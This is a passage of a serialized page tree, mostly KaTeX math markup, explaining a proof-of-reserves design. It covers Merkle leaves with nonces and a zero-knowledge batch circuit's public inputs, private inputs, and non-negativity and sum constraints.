"type":27,"value":93688},"u",{"type":21,"tag":198,"props":93690,"children":93692},{"className":93691,"style":93429},[4822,22381],[93693],{"type":27,"value":93694},"ser",{"type":21,"tag":198,"props":93696,"children":93698},{"className":93697,"style":93429},[4822],[93699],{"type":27,"value":3891},{"type":21,"tag":198,"props":93701,"children":93703},{"className":93702},[4822,22381],[93704],{"type":27,"value":4544},{"type":21,"tag":198,"props":93706,"children":93708},{"className":93707},[4822,22381],[93709],{"type":27,"value":70944},{"type":21,"tag":198,"props":93711,"children":93713},{"className":93712},[22532],[93714],{"type":27,"value":2109},{"type":21,"tag":198,"props":93716,"children":93718},{"className":93717},[4901],[93719],{"type":27,"value":22482},{"type":21,"tag":198,"props":93721,"children":93723},{"className":93722},[4822],[93724],{"type":27,"value":93527},{"type":21,"tag":198,"props":93726,"children":93728},{"className":93727},[4901],[93729],{"type":27,"value":22482},{"type":21,"tag":198,"props":93731,"children":93733},{"className":93732},[4822,22381],[93734],{"type":27,"value":93688},{"type":21,"tag":198,"props":93736,"children":93738},{"className":93737,"style":93429},[4822,22381],[93739],{"type":27,"value":93694},{"type":21,"tag":198,"props":93741,"children":93743},{"className":93742,"style":93429},[4822],[93744],{"type":27,"value":3891},{"type":21,"tag":198,"props":93746,"children":93748},{"className":93747},[4822,22381],[93749],{"type":27,"value":56780},{"type":21,"tag":198,"props":93751,"children":93753},{"className":93752},[4822,22381],[93754],{"type":27,"value":93399},{"type":21,"tag":198,"props":93756,"children":93758},{"className":93757},[4822,22381],[93759],{"type":27,"value":56780},{"type":21,"tag":198,"props":93761,"children":93763},{"className":93762},[4822,22381],[93764],{"type":27,"value":93456},{"type":21,"tag":198,"props":93766,"children":93768},{"className":93767},[22532],[93769],{"type":27,"value":2109},{"type":21,"tag":30,"props":93771,"children":93772},{},[93773,93775,93781],{"type":27,"value":93774},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":21,"tag":194,"props":93776,"children":93778},{"className":93777},[],[93779],{"type":27,"value":93780},"uuid",{"type":27,"value":93782},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":21,"tag":59,"props":93784,"children":93786},{"id":93785},"batch-circuit",[93787],{"type":27,"value":93788},"Batch Circuit",{"type":21,"tag":30,"props":93790,"children":93791},{},[93792],{"type":27,"value":93793},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":21,"tag":30,"props":93795,"children":93796},{},[93797],{"type":21,"tag":6137,"props":93798,"children":93799},{},[93800],{"type":27,"value":93801},"Public Inputs",{"type":21,"tag":138,"props":93803,"children":93804},{},[93805,93810,93815],{"type":21,"tag":75,"props":93806,"children":93807},{},[93808],{"type":27,"value":93809},"Asset prices in USD",{"type":21,"tag":75,"props":93811,"children":93812},{},[93813],{"type":27,"value":93814},"Merkle tree hash",{"type":21,"tag":75,"props":93816,"children":93817},{},[93818],{"type":27,"value":93819},"Summed asset balances",{"type":21,"tag":30,"props":93821,"children":93822},{},[93823],{"type":21,"tag":6137,"props":93824,"children":93825},{},[93826],{"type":27,"value":93827},"Private Inputs",{"type":21,"tag":138,"props":93829,"children":93830},{},[93831,93836],{"type":21,"tag":75,"props":93832,"children":93833},{},[93834],{"type":27,"value":93835},"Users balances",{"type":21,"tag":75,"props":93837,"children":93838},{},[93839],{"type":27,"value":93840},"Merkle tree leaves hashes",{"type":21,"tag":30,"props":93842,"children":93843},{},[93844],{"type":21,"tag":6137,"props":93845,"children":93846},{},[93847],{"type":27,"value":93848},"Constraints",{"type":21,"tag":138,"props":93850,"children":93851},{},[93852,94305,94473,94820,95218],{"type":21,"tag":75,"props":93853,"children":93854},{},[93855],{"type":21,"tag":194,"props":93856,"children":93858},{"className":93857},[4794,4795],[93859],{"type":21,"tag":198,"props":93860,"children":93862},{"className":93861},[4800],[93863],{"type":21,"tag":198,"props":93864,"children":93866},{"className":93865,"ariaHidden":4806},[4805],[93867,94006,94210],{"type":21,"tag":198,"props":93868,"children":93870},{"className":93869},[4811],[93871,93876,93881,93887,93892,93897,93902,93907,93912,93919,93924,93929,93934,93993,93997,94002],{"type":21,"tag":198,"props":93872,"children":93875},{"className":93873,"style":93874},[4816],"height:0.9695em;vertical-align:-0.31em;",[],{"type":21,"tag":198,"props":93877,"children":93879},{"className":93878},[4822,22381],[93880],{"type":27,"value":34},{"type":21,"tag":198,"props":93882,"children":93884},{"className":93883},[4822,22381],[93885],{"type":27,"value":93886},"cco",{"type":21,"tag":198,"props":93888,"children":93890},{"className":93889},[4822,22381],[93891],{"type":27,"value":93688},{"type":21,"tag":198,"props":93893,"children":93895},{"className":93894},[4822,22381],[93896],{"type":27,"value":56780},{"type":21,"tag":198,"props":93898,"children":93900},{"className":93899},[4822,22381],[93901],{"type":27,"value":22523},{"type":21,"tag":198,"props":93903,"children":93905},{"className":93904,"style":93429},[4822],[93906],{"type":27,"value":3891},{"type":21,"tag":198,"props":93908,"children":93910},{"className":93909},[4822,22381],[93911],{"type":27,"value":51830},{"type":21,"tag":198,"props":93913,"children":93916},{"className":93914,"style":93915},[4822,22381],"margin-right:0.03588em;",[93917],{"type":27,"value":93918},"q",{"type":21,"tag":198,"props":93920,"children":93922},{"className":93921},[4822,22381],[93923],{"type":27,"value":93688},{"type":21,"tag":198,"props":93925,"children":93927},{"className":93926},[4822,22381],[93928],{"type":27,"value":4544},{"type":21,"tag":198,"props":93930,"children":93932},{"className":93931},[4822,22381],[93933],{"type":27,"value":22523},{"type":21,"tag":198,"props":93935,"children":93937},{"className":93936},[4822],[93938,93943],{"type":21,"tag":198,"props":93939,"children":93941},{"className":93940,"style":93915},[4822,22381],[93942],{"type":27,"value":3922},{"type":21,"tag":198,"props":93944,"children":93946},{"className":93945},[4837],[93947],{"type":21,"tag":198,"props":93948,"children":93950},{"className":93949},[4842,22435],[93951,93982],{"type":21,"tag":198,"props":93952,"children":93954},{"className":93953},[4847],[93955,93977],{"type":21,"tag":198,"props":93956,"children":93959},{"className":93957,"style":93958},[4852],"height:0.3117em;",[93960],{"type":21,"tag":198,"props":93961,"children":93963},{"style":93962},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[93964,93968],{"type":21,"tag":198,"props":93965,"children":93967},{"className":93966,"style":4862},[4861],[],{"type":21,"tag":198,"props":93969,"children":93971},{"className":93970},[4867,4868,4869,4870],[93972],{"type":21,"tag":198,"props":93973,"children":93975},{"className":93974},[4822,22381,4870],[93976],{"type":27,"value":4544},{"type":21,"tag":198,"props":93978,"children":93980},{"className":93979},[22538],[93981],{"type":27,"value":22541},{"type":21,"tag":198,"props":93983,"children":93985},{"className":93984},[4847],[93986],{"type":21,"tag":198,"props":93987,"children":93989},{"className":93988,"style":93512},[4852],[93990],{"type":21,"tag":198,"props":93991,"children":93992},{},[],{"type":21,"tag":198,"props":93994,"children":93996},{"className":93995,"style":4998},[4901],[],{"type":21,"tag":198,"props":93998,"children":94000},{"className":93999},[5003],[94001],{"type":27,"value":9386},{"type":21,"tag":198,"props":94003,"children":94005},{"className":94004,"style":4998},[4901],[],{"type":21,"tag":198,"props":94007,"children":94009},{"className":94008},[4811],[94010,94014,94020,94025,94030,94035,94040,94045,94050,94055,94060,94065,94070,94075,94080,94085,94090,94095,94152,94157,94162,94167,94172,94177,94182,94187,94192,94197,94201,94206],{"type":21,"tag":198,"props":94011,"children":94013},{"className":94012,"style":93371},[4816],[],{"type":21,"tag":198,"props":94015,"children":94017},{"className":94016},[4822],[94018],{"type":27,"value":94019},"Σ",{"type":21,"tag":198,"props":94021,"children":94023},{"className":94022},[4901],[94024],{"type":27,"value":22482},{"type":21,"tag":198,"props":94026,"children":94028},{"className":94027},[4822,22381],[94029],{"type":27,"value":34},{"type":21,"tag":198,"props":94031,"children":94033},{"className":94032},[4822,22381],[94034],{"type":27,"value":93886},{"type":21,"tag":198,"props":94036,"children":94038},{"className":94037},[4822,22381],[94039],{"type":27,"value":93688},{"type":21,"tag":198,"props":94041,"children":94043},{"className":94042},[4822,22381],[94044],{"type":27,"value":56780},{"type":21,"tag":198,"props":94046,"children":94048},{"className":94047},[4822,22381],[94049],{"type":27,"value":22523},{"type":21,"tag":198,"props":94051,"children":94053},{"className":94052,"style":93429},[4822],[94054],{"type":27,"value":3891},{"type":21,"tag":198,"props":94056,"children":94058},{"className":94057},[4822,22381],[94059],{"type":27,"value":34},{"type":21,"tag":198,"props":94061,"children":94063},{"className":94062},[4822,22381],[94064],{"type":27,"value":93420},{"type":21,"tag":198,"props":94066,"children":94068},{"className":94067},[4822,22381],[94069],{"type":27,"value":22523},{"type":21,"tag":198,"props":94071,"children":94073},{"className":94072,"style":93429},[4822],[94074],{"type":27,"value":3891},{"type":21,"tag":198,"props":94076,"children":94078},{"className":94077},[4822,22381],[94079],{"type":27,"value":93437},{"type":21,"tag":198,"props":94081,"children":94083},{"className":94082,"style":93441},[4822,22381],[94084],{"type":27,"value":93444},{"type":21,"tag":198,"props":94086,"children":94088},{"className":94087},[4822,22381],[94089],{"type":27,"value":93450},{"type":21,"tag":198,"props":94091,"children":94093},{"className":94092},[4822,22381],[94094],{"type":27,"value":93456},{"type":21,"tag":198,"props":94096,"children":94098},{"className":94097},[4822],[94099,94104],{"type":21,"tag":198,"props":94100,"children":94102},{"className":94101},[4822,22381],[94103],{"type":27,"value":11460},{"type":21,"tag":198,"props":94105,"children":94107},{"className":94106},[4837],[94108],{"type":21,"tag":198,"props":94109,"children":94111},{"className":94110},[4842,22435],[94112,94141],{"type":21,"tag":198,"props":94113,"children":94115},{"className":94114},[4847],[94116,94136],{"type":21,"tag":198,"props":94117,"children":94119},{"className":94118,"style":93958},[4852],[94120],{"type":21,"tag":198,"props":94121,"children":94122},{"style":93485},[94123,94127],{"type":21,"tag":198,"props":94124,"children":94126},{"className":94125,"style":4862},[4861],[],{"type":21,"tag":198,"props":94128,"children":94130},{"className":94129},[4867,4868,4869,4870],[94131],{"type":21,"tag":198,"props":94132,"children":94134},{"className":94133},[4822,22381,4870],[94135],{"type":27,"value":4544},{"type":21,"tag":198,"props":94137,"children":94139},{"className":94138},[22538],[94140],{"type":27,"value":22541},{"type":21,"tag":198,"props":94142,"children":94144},{"className":94143},[4847],[94145],{"type":21,"tag":198,"props":94146,"children":94148},{"className":94147,"style":93512},[4852],[94149],{"type":21,"tag":198,"props":94150,"children":94151},{},[],{"type":21,"tag":198,"props":94153,"children":94155},{"className":94154},[22510],[94156],{"type":27,"value":2051},{"type":21,"tag":198,"props":94158,"children":94160},{"className":94159},[4822,22381],[94161],{"type":27,"value":34},{"type":21,"tag":198,"props":94163,"children":94165},{"className":94164},[4822,22381],[94166],{"type":27,"value":93420},{"type":21,"tag":198,"props":94168,"children":94170},{"className":94169},[4822,22381],[94171],{"type":27,"value":22523},{"type":21,"tag":198,"props":94173,"children":94175},{"className":94174,"style":93429},[4822],[94176],{"type":27,"value":3891},{"type":21,"tag":198,"props":94178,"children":94180},{"className":94179},[4822,22381],[94181],{"type":27,"value":56780},{"type":21,"tag":198,"props":94183,"children":94185},{"className":94184},[4822,22381],[94186],{"type":27,"value":93688},{"type":21,"tag":198,"props":94188,"children":94190},{"className":94189},[4822,22381],[94191],{"type":27,"value":51509},{"type":21,"tag":198,"props":94193,"children":94195},{"className":94194},[22532],[94196],{"type":27,"value":2071},{"type":21,"tag":198,"props":94198,"children":94200},{"className":94199,"style":4902},[4901],[],{"type":21,"tag":198,"props":94202,"children":94204},{"className":94203},[4907],[94205],{"type":27,"value":4910},{"type":21,"tag":198,"props":94207,"children":94209},{"className":94208,"style":4902},[4901],[],{"type":21,"tag":198,"props":94211,"children":94213},{"className":94212},[4811],[94214,94218,94223,94228,94233,94238,94243,94249,94254,94260,94265,94270,94275,94280,94285,94290,94295,94300],{"type":21,"tag":198,"props":94215,"children":94217},{"className":94216,"style":93371},[4816],[],{"type":21,"tag":198,"props":94219,"children":94221},{"className":94220},[4822,22381],[94222],{"type":27,"value":34},{"type":21,"tag":198,"props":94224,"children":94226},{"className":94225},[4822,22381],[94227],{"type":27,"value":93420},{"type":21,"tag":198,"props":94229,"children":94231},{"className":94230},[4822,22381],[94232],{"type":27,"value":22523},{"type":21,"tag":198,"props":94234,"children":94236},{"className":94235,"style":93429},[4822],[94237],{"type":27,"value":3891},{"type":21,"tag":198,"props":94239,"children":94241},{"className":94240},[4822,22381],[94242],{"type":27,"value":30},{"type":21,"tag":198,"props":94244,"children":94246},{"className":94245,"style":93429},[4822,22381],[94247],{"type":27,"value":94248},"r",{"type":21,"tag":198,"props":94250,"children":94252},{"className":94251},[4822,22381],[94253],{"type":27,"value":4544},{"type":21,"tag":198,"props":94255,"children":94257},{"className":94256},[4822,22381],[94258],{"type":27,"value":94259},"ces",{"type":21,"tag":198,"props":94261,"children":94263},{"className":94262},[22510],[94264],{"type":27,"value":2051},{"type":21,"tag":198,"props":94266,"children":94268},{"className":94267},[4822,22381],[94269],{"type":27,"value":34},{"type":21,"tag":198,"props":94271,"children":94273},{"className":94272},[4822,22381],[94274],{"type":27,"value":93420},{"type":21,"tag":198,"props":94276,"children":94278},{"className":94277},[4822,22381],[94279],{"type":27,"value":22523},{"type":21,"tag":198,"props":94281,"children":94283},{"className":94282,"style":93429},[4822],[94284],{"type":27,"value":3891},{"type":21,"tag":198,"props":94286,"children":94288},{"className":94287},[4822,22381],[94289],{"type":27,"value":56780},{"type":21,"tag":198,"props":94291,"children":94293},{"className":94292},[4822,22381],[94294],{"type":27,"value":93688},{"type":21,"tag":198,"props":94296,"children":94298},{"className":94297},[4822,22381],[94299],{"type":27,"value":51509},{"type":21,"tag":198,"props":94301,"children":94303},{"className":94302},[22532],[94304],{"type":27,"value":2071},{"type":21,"tag":75,"props":94306,"children":94307},{},[94308,94467,94468],{"type":21,"tag":194,"props":94309,"children":94311},{"className":94310},[4794,4795],[94312],{"type":21,"tag":198,"props":94313,"children":94315},{"className":94314},[4800],[94316],{"type":21,"tag":198,"props":94317,"children":94319},{"className":94318,"ariaHidden":4806},[4805],[94320,94453],{"type":21,"tag":198,"props":94321,"children":94323},{"className":94322},[4811],[94324,94328,94333,94338,94343,94348,94353,94358,94363,94368,94373,94378,94383,94440,94444,94449],{"type":21,"tag":198,"props":94325,"children":94327},{"className":94326,"style":93874},[4816],[],{"type":21,"tag":198,"props":94329,"children":94331},{"className":94330},[4822,22381],[94332],{"type":27,"value":34},{"type":21,"tag":198,"props":94334,"children":94336},{"className":94335},[4822,22381],[94337],{"type":27,"value":93886},{"type":21,"tag":198,"props":94339,"children":94341},{"className":94340},[4822,22381],[94342],{"type":27,"value":93688},{"type":21,"tag":198,"props":94344,"children":94346},{"className":94345},[4822,22381],[94347],{"type":27,"value":56780},{"type":21,"tag":198,"props":94349,"children":94351},{"className":94350},[4822,22381],[94352],{"type":27,"value":22523},{"type":21,"tag":198,"props":94354,"children":94356},{"className":94355,"style":93429},[4822],[94357],{"type":27,"value":3891},{"type":21,"tag":198,"props":94359,"children":94361},{"className":94360},[4822,22381],[94362],{"type":27,"value":51830},{"type":21,"tag":198,"props":94364,"children":94366},{"className":94365,"style":93915},[4822,22381],[94367],{"type":27,"value":93918},{"type":21,"tag":198,"props":94369,"children":94371},{"className":94370},[4822,22381],[94372],{"type":27,"value":93688},{"type":21,"tag":198,"props":94374,"children":94376},{"className":94375},[4822,22381],[94377],{"type":27,"value":4544},{"type":21,"tag":198,"props":94379,"children":94381},{"className":94380},[4822,22381],[94382],{"type":27,"value":22523},{"type":21,"tag":198,"props":94384,"children":94386},{"className":94385},[4822],[94387,94392],{"type":21,"tag":198,"props":94388,"children":94390},{"className":94389,"style":93915},[4822,22381],[94391],{"type":27,"value":3922},{"type":21,"tag":198,"props":94393,"children":94395},{"className":94394},[4837],[94396],{"type":21,"tag":198,"props":94397,"children":94399},{"className":94398},[4842,22435],[94400,94429],{"type":21,"tag":198,"props":94401,"children":94403},{"className":94402},[4847],[94404,94424],{"type":21,"tag":198,"props":94405,"children":94407},{"className":94406,"style":93958},[4852],[94408],{"type":21,"tag":198,"props":94409,"children":94410},{"style":93962},[94411,94415],{"type":21,"tag":198,"props":94412,"children":94414},{"className":94413,"style":4862},[4861],[],{"type":21,"tag":198,"props":94416,"children":94418},{"className":94417},[4867,4868,4869,4870],[94419],{"type":21,"tag":198,"props":94420,"children":94422},{"className":94421},[4822,22381,4870],[94423],{"type":27,"value":4544},{"type":21,"tag":198,"props":94425,"children":94427},{"className":94426},[22538],[94428],{"type":27,"value":22541},{"type":21,"tag":198,"props":94430,"children":94432},{"className":94431},[4847],[94433],{"type":21,"tag":198,"props":94434,"children":94436},{"className":94435,"style":93512},[4852],[94437],{"type":21,"tag":198,"props":94438,"children":94439},{},[],{"type":21,"tag":198,"props":94441,"children":94443},{"className":94442,"style":4998},[4901],[],{"type":21,"tag":198,"props":94445,"children":94447},{"className":94446},[5003],[94448],{"type":27,"value":10753},{"type":21,"tag":198,"props":94450,"children":94452},{"className":94451,"style":4998},[4901],[],{"type":21,"tag":198,"props":94454,"children":94456},{"className":94455},[4811],[94457,94462],{"type":21,"tag":198,"props":94458,"children":94461},{"className":94459,"style":94460},[4816],"height:0.6444em;",[],{"type":21,"tag":198,"props":94463,"children":94465},{"className":94464},[4822],[94466],{"type":27,"value":3482},{"type":27,"value":915},{"type":21,"tag":6137,"props":94469,"children":94470},{},[94471],{"type":27,"value":94472},"(non-negativity)",{"type":21,"tag":75,"props":94474,"children":94475},{},[94476,94814,94815],{"type":21,"tag":194,"props":94477,"children":94479},{"className":94478},[4794,4795],[94480],{"type":21,"tag":198,"props":94481,"children":94483},{"className":94482},[4800],[94484],{"type":21,"tag":198,"props":94485,"children":94487},{"className":94486,"ariaHidden":4806},[4805],[94488,94624],{"type":21,"tag":198,"props":94489,"children":94491},{"className":94490},[4811],[94492,94496,94501,94506,94511,94516,94521,94526,94531,94536,94541,94546,94551,94556,94561,94566,94571,94576,94581,94586,94591,94596,94601,94606,94611,94615,94620],{"type":21,"tag":198,"props":94493,"children":94495},{"className":94494,"style":93371},[4816],[],{"type":21,"tag":198,"props":94497,"children":94499},{"className":94498},[4822,22381],[94500],{"type":27,"value":22523},{"type":21,"tag":198,"props":94502,"children":94504},{"className":94503},[4822,22381],[94505],{"type":27,"value":93399},{"type":21,"tag":198,"props":94507,"children":94509},{"className":94508},[4822,22381],[94510],{"type":27,"value":22523},{"type":21,"tag":198,"props":94512,"children":94514},{"className":94513},[4822,22381],[94515],{"type":27,"value":34},{"type":21,"tag":198,"props":94517,"children":94519},{"className":94518,"style":93441},[4822,22381],[94520],{"type":27,"value":93444},{"type":21,"tag":198,"props":94522,"children":94524},{"className":94523,"style":93429},[4822],[94525],{"type":27,"value":3891},{"type":21,"tag":198,"props":94527,"children":94529},{"className":94528},[4822,22381],[94530],{"type":27,"value":34},{"type":21,"tag":198,"props":94532,"children":94534},{"className":94533},[4822,22381],[94535],{"type":27,"value":93420},{"type":21,"tag":198,"props":94537,"children":94539},{"className":94538},[4822,22381],[94540],{"type":27,"value":22523},{"type":21,"tag":198,"props":94542,"children":94544},{"className":94543,"style":93429},[4822],[94545],{"type":27,"value":3891},{"type":21,"tag":198,"props":94547,"children":94549},{"className":94548},[4822,22381],[94550],{"type":27,"value":93437},{"type":21,"tag":198,"props":94552,"children":94554},{"className":94553,"style":93441},[4822,22381],[94555],{"type":27,"value":93444},{"type":21,"tag":198,"props":94557,"children":94559},{"className":94558},[4822,22381],[94560],{"type":27,"value":93450},{"type":21,"tag":198,"props":94562,"children":94564},{"className":94563},[4822,22381],[94565],{"type":27,"value":93456},{"type":21,"tag":198,"props":94567,"children":94569},{"className":94568},[22510],[94570],{"type":27,"value":2051},{"type":21,"tag":198,"props":94572,"children":94574},{"className":94573},[4822,22381],[94575],{"type":27,"value":34},{"type":21,"tag":198,"props":94577,"children":94579},{"className":94578},[4822,22381],[94580],{"type":27,"value":93420},{"type":21,"tag":198,"props":94582,"children":94584},{"className":94583},[4822,22381],[94585],{"type":27,"value":22523},{"type":21,"tag":198,"props":94587,"children":94589},{"className":94588,"style":93429},[4822],[94590],{"type":27,"value":3891},{"type":21,"tag":198,"props":94592,"children":94594},{"className":94593},[4822,22381],[94595],{"type":27,"value":56780},{"type":21,"tag":198,"props":94597,"children":94599},{"className":94598},[4822,22381],[94600],{"type":27,"value":93688},{"type":21,"tag":198,"props":94602,"children":94604},{"className":94603},[4822,22381],[94605],{"type":27,"value":51509},{"type":21,"tag":198,"props":94607,"children":94609},{"className":94608},[22532],[94610],{"type":27,"value":2071},{"type":21,"tag":198,"props":94612,"children":94614},{"className":94613,"style":4998},[4901],[],{"type":21,"tag":198,"props":94616,"children":94618},{"className":94617},[5003],[94619],{"type":27,"value":9386},{"type":21,"tag":198,"props":94621,"children":94623},{"className":94622,"style":4998},[4901],[],{"type":21,"tag":198,"props":94625,"children":94627},{"className":94626},[4811],[94628,94632,94637,94642,94647,94652,94657,94662,94667,94672,94677,94682,94687,94692,94697,94702,94707,94712,94769,94774,94779,94784,94789,94794,94799,94804,94809],{"type":21,"tag":198,"props":94629,"children":94631},{"className":94630,"style":93371},[4816],[],{"type":21,"tag":198,"props":94633,"children":94635},{"className":94634},[4822],[94636],{"type":27,"value":94019},{"type":21,"tag":198,"props":94638,"children":94640},{"className":94639},[4901],[94641],{"type":27,"value":22482},{"type":21,"tag":198,"props":94643,"children":94645},{"className":94644},[4822,22381],[94646],{"type":27,"value":34},{"type":21,"tag":198,"props":94648,"children":94650},{"className":94649},[4822,22381],[94651],{"type":27,"value":93886},{"type":21,"tag":198,"props":94653,"children":94655},{"className":94654},[4822,22381],[94656],{"type":27,"value":93688},{"type":21,"tag":198,"props":94658,"children":94660},{"className":94659},[4822,22381],[94661],{"type":27,"value":56780},{"type":21,"tag":198,"props":94663,"children":94665},{"className":94664},[4822,22381],[94666],{"type":27,"value":22523},{"type":21,"tag":198,"props":94668,"children":94670},{"className":94669,"style":93429},[4822],[94671],{"type":27,"value":3891},{"type":21,"tag":198,"props":94673,"children":94675},{"className":94674},[4822,22381],[94676],{"type":27,"value":34},{"type":21,"tag":198,"props":94678,"children":94680},{"className":94679},[4822,22381],[94681],{"type":27,"value":93420},{"type":21,"tag":198,"props":94683,"children":94685},{"className":94684},[4822,22381],[94686],{"type":27,"value":22523},{"type":21,"tag":198,"props":94688,"children":94690},{"className":94689,"style":93429},[4822],[94691],{"type":27,"value":3891},{"type":21,"tag":198,"props":94693,"children":94695},{"className":94694},[4822,22381],[94696],{"type":27,"value":93437},{"type":21,"tag":198,"props":94698,"children":94700},{"className":94699,"style":93441},[4822,22381],[94701],{"type":27,"value":93444},{"type":21,"tag":198,"props":94703,"children":94705},{"className":94704},[4822,22381],[94706],{"type":27,"value":93450},{"type":21,"tag":198,"props":94708,"children":94710},{"className":94709},[4822,22381],[94711],{"type":27,"value":93456},{"type":21,"tag":198,"props":94713,"children":94715},{"className":94714},[4822],[94716,94721],{"type":21,"tag":198,"props":94717,"children":94719},{"className":94718},[4822,22381],[94720],{"type":27,"value":11460},{"type":21,"tag":198,"props":94722,"children":94724},{"className":94723},[4837],[94725],{"type":21,"tag":198,"props":94726,"children":94728},{"className":94727},[4842,22435],[94729,94758],{"type":21,"tag":198,"props":94730,"children":94732},{"className":94731},[4847],[94733,94753],{"type":21,"tag":198,"props":94734,"children":94736},{"className":94735,"style":93958},[4852],[94737],{"type":21,"tag":198,"props":94738,"children":94739},{"style":93485},[94740,94744],{"type":21,"tag":198,"props":94741,"children":94743},{"className":94742,"style":4862},[4861],[],{"type":21,"tag":198,"props":94745,"children":94747},{"className":94746},[4867,4868,4869,4870],[94748],{"type":21,"tag":198,"props":94749,"children":94751},{"className":94750},[4822,22381,4870],[94752],{"type":27,"value":4544},{"type":21,"tag":198,"props":94754,"children":94756},{"className":94755},[22538],[94757],{"type":27,"value":22541},{"type":21,"tag":198,"props":94759,"children":94761},{"className":94760},[4847],[94762],{"type":21,"tag":198,"props":94763,"children":94765},{"className":94764,"style":93512},[4852],[94766],{"type":21,"tag":198,"props":94767,"children":94768},{},[],{"type":21,"tag":198,"props":94770,"children":94772},{"className":94771},[22510],[94773],{"type":27,"value":2051},{"type":21,"tag":198,"props":94775,"children":94777},{"className":94776},[4822,22381],[94778],{"type":27,"value":34},{"type":21,"tag":198,"props":94780,"children":94782},{"className":94781},[4822,22381],[94783],{"type":27,"value":93420},{"type":21,"tag":198,"props":94785,"children":94787},{"className":94786},[4822,22381],[94788],{"type":27,"value":22523},{"type":21,"tag":198,"props":94790,"children":94792},{"className":94791,"style":93429},[4822],[94793],{"type":27,"value":3891},{"type":21,"tag":198,"props":94795,"children":94797},{"className":94796},[4822,22381],[94798],{"type":27,"value":56780},{"type":21,"tag":198,"props":94800,"children":94802},{"className":94801},[4822,22381],[94803],{"type":27,"value":93688},{"type":21,"tag":198,"props":94805,"children":94807},{"className":94806},[4822,22381],[94808],{"type":27,"value":51509},{"type":21,"tag":198,"props":94810,"children":94812},{"className":94811},[22532],[94813],{"type":27,"value":2071},{"type":27,"value":915},{"type":21,"tag":6137,"props":94816,"children":94817},{},[94818],{"type":27,"value":94819},"(sum proof)",{"type":21,"tag":75,"props":94821,"children":94822},{},[94823,95212,95213],{"type":21,"tag":194,"props":94824,"children":94826},{"className":94825},[4794,4795],[94827],{"type":21,"tag":198,"props":94828,"children":94830},{"className":94829},[4800],[94831],{"type":21,"tag":198,"props":94832,"children":94834},{"className":94833,"ariaHidden":4806},[4805],[94835,94921],{"type":21,"tag":198,"props":94836,"children":94838},{"className":94837},[4811],[94839,94844,94849,94855,94861,94866,94871,94876,94881,94887,94892,94898,94903,94908,94912,94917],{"type":21,"tag":198,"props":94840,"children":94843},{"className":94841,"style":94842},[4816],"height:1.0044em;vertical-align:-0.31em;",[],{"type":21,"tag":198,"props":94845,"children":94847},{"className":94846},[4822,22381],[94848],{"type":27,"value":51509},{"type":21,"tag":198,"props":94850,"children":94852},{"className":94851,"style":93429},[4822,22381],[94853],{"type":27,"value":94854},"er",{"type":21,"tag":198,"props":94856,"children":94859},{"className":94857,"style":94858},[4822,22381],"margin-right:0.03148em;",[94860],{"type":27,"value":89066},{"type":21,"tag":198,"props":94862,"children":94864},{"className":94863,"style":93441},[4822,22381],[94865],{"type":27,"value":93444},{"type":21,"tag":198,"props":94867,"children":94869},{"className":94868},[4822,22381],[94870],{"type":27,"value":51830},{"type":21,"tag":198,"props":94872,"children":94874},{"className":94873,"style":93429},[4822],[94875],{"type":27,"value":3891},{"type":21,"tag":198,"props":94877,"children":94879},{"className":94878},[4822,22381],[94880],{"type":27,"value":22523},{"type":21,"tag":198,"props":94882,"children":94884},{"className":94883},[4822,22381],[94885],{"type":27,"value":94886},"ree",{"type":21,"tag":198,"props":94888,"children":94890},{"className":94889,"style":93429},[4822],[94891],{"type":27,"value":3891},{"type":21,"tag":198,"props":94893,"children":94895},{"className":94894},[4822,22381],[94896],{"type":27,"value":94897},"ha",{"type":21,"tag":198,"props":94899,"children":94901},{"className":94900},[4822,22381],[94902],{"type":27,"value":11460},{"type":21,"tag":198,"props":94904,"children":94906},{"className":94905},[4822,22381],[94907],{"type":27,"value":84727},{"type":21,"tag":198,"props":94909,"children":94911},{"className":94910,"style":4998},[4901],[],{"type":21,"tag":198,"props":94913,"children":94915},{"className":94914},[5003],[94916],{"type":27,"value":9386},{"type":21,"tag":198,"props":94918,"children":94920},{"className":94919,"style":4998},[4901],[],{"type":21,"tag":198,"props":94922,"children":94924},{"className":94923},[4811],[94925,94929,94934,94939,94944,94949,94954,94959,94964,94969,94974,95031,95036,95040,95045,95050,95107,95112,95117,95121,95126,95131,95135,95140,95145,95207],{"type":21,"tag":198,"props":94926,"children":94928},{"className":94927,"style":4922},[4816],[],{"type":21,"tag":198,"props":94930,"children":94932},{"className":94931,"style":22382},[4822,22381],[94933],{"type":27,"value":22385},{"type":21,"tag":198,"props":94935,"children":94937},{"className":94936},[4822,22381],[94938],{"type":27,"value":93383},{"type":21,"tag":198,"props":94940,"children":94942},{"className":94941},[4822,22381],[94943],{"type":27,"value":4544},{"type":21,"tag":198,"props":94945,"children":94947},{"className":94946},[4822,22381],[94948],{"type":27,"value":70944},{"type":21,"tag":198,"props":94950,"children":94952},{"className":94951},[4822,22381],[94953],{"type":27,"value":93399},{"type":21,"tag":198,"props":94955,"children":94957},{"className":94956},[4822,22381],[94958],{"type":27,"value":56780},{"type":21,"tag":198,"props":94960,"children":94962},{"className":94961},[22510],[94963],{"type":27,"value":706},{"type":21,"tag":198,"props":94965,"children":94967},{"className":94966},[4822,22381],[94968],{"type":27,"value":94897},{"type":21,"tag":198,"props":94970,"children":94972},{"className":94971},[4822,22381],[94973],{"type":27,"value":11460},{"type":21,"tag":198,"props":94975,"children":94977},{"className":94976},[4822],[94978,94983],{"type":21,"tag":198,"props":94979,"children":94981},{"className":94980},[4822,22381],[94982],{"type":27,"value":84727},{"type":21,"tag":198,"props":94984,"children":94986},{"className":94985},[4837],[94987],{"type":21,"tag":198,"props":94988,"children":94990},{"className":94989},[4842,22435],[94991,95020],{"type":21,"tag":198,"props":94992,"children":94994},{"className":94993},[4847],[94995,95015],{"type":21,"tag":198,"props":94996,"children":94998},{"className":94997,"style":93481},[4852],[94999],{"type":21,"tag":198,"props":95000,"children":95001},{"style":93485},[95002,95006],{"type":21,"tag":198,"props":95003,"children":95005},{"className":95004,"style":4862},[4861],[],{"type":21,"tag":198,"props":95007,"children":95009},{"className":95008},[4867,4868,4869,4870],[95010],{"type":21,"tag":198,"props":95011,"children":95013},{"className":95012},[4822,4870],[95014],{"type":27,"value":3482},{"type":21,"tag":198,"